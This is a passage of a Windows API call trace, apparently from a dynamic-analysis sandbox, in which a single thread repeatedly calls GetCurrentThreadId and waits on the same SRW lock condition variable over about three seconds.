	[0140.384] GetCurrentThreadId () returned 0xb38
	[0140.384] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.393] GetCurrentThreadId () returned 0xb38
	[0140.393] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.396] GetCurrentThreadId () returned 0xb38
	[0140.396] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.475] GetCurrentThreadId () returned 0xb38
	[0140.475] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.505] GetCurrentThreadId () returned 0xb38
	[0140.505] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.520] GetCurrentThreadId () returned 0xb38
	[0140.520] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.546] GetCurrentThreadId () returned 0xb38
	[0140.546] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.621] GetCurrentThreadId () returned 0xb38
	[0140.621] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.641] GetCurrentThreadId () returned 0xb38
	[0140.641] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.645] GetCurrentThreadId () returned 0xb38
	[0140.645] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.672] GetCurrentThreadId () returned 0xb38
	[0140.672] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.691] GetCurrentThreadId () returned 0xb38
	[0140.691] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.712] GetCurrentThreadId () returned 0xb38
	[0140.712] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.733] GetCurrentThreadId () returned 0xb38
	[0140.733] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.747] GetCurrentThreadId () returned 0xb38
	[0140.747] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.780] GetCurrentThreadId () returned 0xb38
	[0140.780] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.807] GetCurrentThreadId () returned 0xb38
	[0140.807] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.820] GetCurrentThreadId () returned 0xb38
	[0140.820] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.845] GetCurrentThreadId () returned 0xb38
	[0140.845] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.857] GetCurrentThreadId () returned 0xb38
	[0140.857] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.889] GetCurrentThreadId () returned 0xb38
	[0140.889] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.894] GetCurrentThreadId () returned 0xb38
	[0140.894] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.000] GetCurrentThreadId () returned 0xb38
	[0141.001] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.018] GetCurrentThreadId () returned 0xb38
	[0141.018] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.022] GetCurrentThreadId () returned 0xb38
	[0141.022] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.042] GetCurrentThreadId () returned 0xb38
	[0141.042] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.057] GetCurrentThreadId () returned 0xb38
	[0141.057] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.090] GetCurrentThreadId () returned 0xb38
	[0141.090] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.154] GetCurrentThreadId () returned 0xb38
	[0141.154] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.179] GetCurrentThreadId () returned 0xb38
	[0141.179] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.207] GetCurrentThreadId () returned 0xb38
	[0141.207] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.224] GetCurrentThreadId () returned 0xb38
	[0141.224] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.229] GetCurrentThreadId () returned 0xb38
	[0141.229] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.246] GetCurrentThreadId () returned 0xb38
	[0141.246] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.266] GetCurrentThreadId () returned 0xb38
	[0141.267] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.270] GetCurrentThreadId () returned 0xb38
	[0141.270] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.320] GetCurrentThreadId () returned 0xb38
	[0141.320] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.374] GetCurrentThreadId () returned 0xb38
	[0141.374] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.406] GetCurrentThreadId () returned 0xb38
	[0141.406] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.412] GetCurrentThreadId () returned 0xb38
	[0141.412] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.561] GetCurrentThreadId () returned 0xb38
	[0141.562] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.604] GetCurrentThreadId () returned 0xb38
	[0141.604] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.643] GetCurrentThreadId () returned 0xb38
	[0141.643] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.656] GetCurrentThreadId () returned 0xb38
	[0141.657] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.848] GetCurrentThreadId () returned 0xb38
	[0141.848] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.921] GetCurrentThreadId () returned 0xb38
	[0141.921] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.937] GetCurrentThreadId () returned 0xb38
	[0141.937] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.969] GetCurrentThreadId () returned 0xb38
	[0141.969] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.972] GetCurrentThreadId () returned 0xb38
	[0141.972] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0141.989] GetCurrentThreadId () returned 0xb38
	[0141.989] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.055] GetCurrentThreadId () returned 0xb38
	[0142.055] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.063] GetCurrentThreadId () returned 0xb38
	[0142.063] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.093] GetCurrentThreadId () returned 0xb38
	[0142.093] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.096] GetCurrentThreadId () returned 0xb38
	[0142.096] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.127] GetCurrentThreadId () returned 0xb38
	[0142.127] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.142] GetCurrentThreadId () returned 0xb38
	[0142.142] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.171] GetCurrentThreadId () returned 0xb38
	[0142.171] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.175] GetCurrentThreadId () returned 0xb38
	[0142.175] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.206] GetCurrentThreadId () returned 0xb38
	[0142.206] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.224] GetCurrentThreadId () returned 0xb38
	[0142.224] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.242] GetCurrentThreadId () returned 0xb38
	[0142.242] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.248] GetCurrentThreadId () returned 0xb38
	[0142.248] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.280] GetCurrentThreadId () returned 0xb38
	[0142.280] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.285] GetCurrentThreadId () returned 0xb38
	[0142.285] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.332] GetCurrentThreadId () returned 0xb38
	[0142.333] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.350] GetCurrentThreadId () returned 0xb38
	[0142.350] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.407] GetCurrentThreadId () returned 0xb38
	[0142.407] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.421] GetCurrentThreadId () returned 0xb38
	[0142.421] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.422] GetCurrentThreadId () returned 0xb38
	[0142.422] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.447] GetCurrentThreadId () returned 0xb38
	[0142.447] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.464] GetCurrentThreadId () returned 0xb38
	[0142.464] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.466] GetCurrentThreadId () returned 0xb38
	[0142.466] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.519] GetCurrentThreadId () returned 0xb38
	[0142.519] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.566] GetCurrentThreadId () returned 0xb38
	[0142.566] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.577] GetCurrentThreadId () returned 0xb38
	[0142.577] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.596] GetCurrentThreadId () returned 0xb38
	[0142.596] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.635] GetCurrentThreadId () returned 0xb38
	[0142.635] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.652] GetCurrentThreadId () returned 0xb38
	[0142.652] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.657] GetCurrentThreadId () returned 0xb38
	[0142.657] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.677] GetCurrentThreadId () returned 0xb38
	[0142.677] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.710] GetCurrentThreadId () returned 0xb38
	[0142.710] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.735] GetCurrentThreadId () returned 0xb38
	[0142.735] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.754] GetCurrentThreadId () returned 0xb38
	[0142.754] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.761] GetCurrentThreadId () returned 0xb38
	[0142.761] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.778] GetCurrentThreadId () returned 0xb38
	[0142.778] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.809] GetCurrentThreadId () returned 0xb38
	[0142.809] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.830] GetCurrentThreadId () returned 0xb38
	[0142.830] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.836] GetCurrentThreadId () returned 0xb38
	[0142.836] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.868] GetCurrentThreadId () returned 0xb38
	[0142.868] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.889] GetCurrentThreadId () returned 0xb38
	[0142.889] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.894] GetCurrentThreadId () returned 0xb38
	[0142.894] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.912] GetCurrentThreadId () returned 0xb38
	[0142.912] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.926] GetCurrentThreadId () returned 0xb38
	[0142.926] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.954] GetCurrentThreadId () returned 0xb38
	[0142.954] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.967] GetCurrentThreadId () returned 0xb38
	[0142.967] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0142.970] GetCurrentThreadId () returned 0xb38
	[0142.970] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.015] GetCurrentThreadId () returned 0xb38
	[0143.015] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.030] GetCurrentThreadId () returned 0xb38
	[0143.030] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.034] GetCurrentThreadId () returned 0xb38
	[0143.034] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.054] GetCurrentThreadId () returned 0xb38
	[0143.054] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.065] GetCurrentThreadId () returned 0xb38
	[0143.065] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.097] GetCurrentThreadId () returned 0xb38
	[0143.097] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.167] GetCurrentThreadId () returned 0xb38
	[0143.167] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.180] GetCurrentThreadId () returned 0xb38
	[0143.180] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.207] GetCurrentThreadId () returned 0xb38
	[0143.207] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.227] GetCurrentThreadId () returned 0xb38
	[0143.227] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.245] GetCurrentThreadId () returned 0xb38
	[0143.245] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.249] GetCurrentThreadId () returned 0xb38
	[0143.249] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.469] GetCurrentThreadId () returned 0xb38
	[0143.469] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.517] GetCurrentThreadId () returned 0xb38
	[0143.517] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.520] GetCurrentThreadId () returned 0xb38
	[0143.520] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.539] GetCurrentThreadId () returned 0xb38
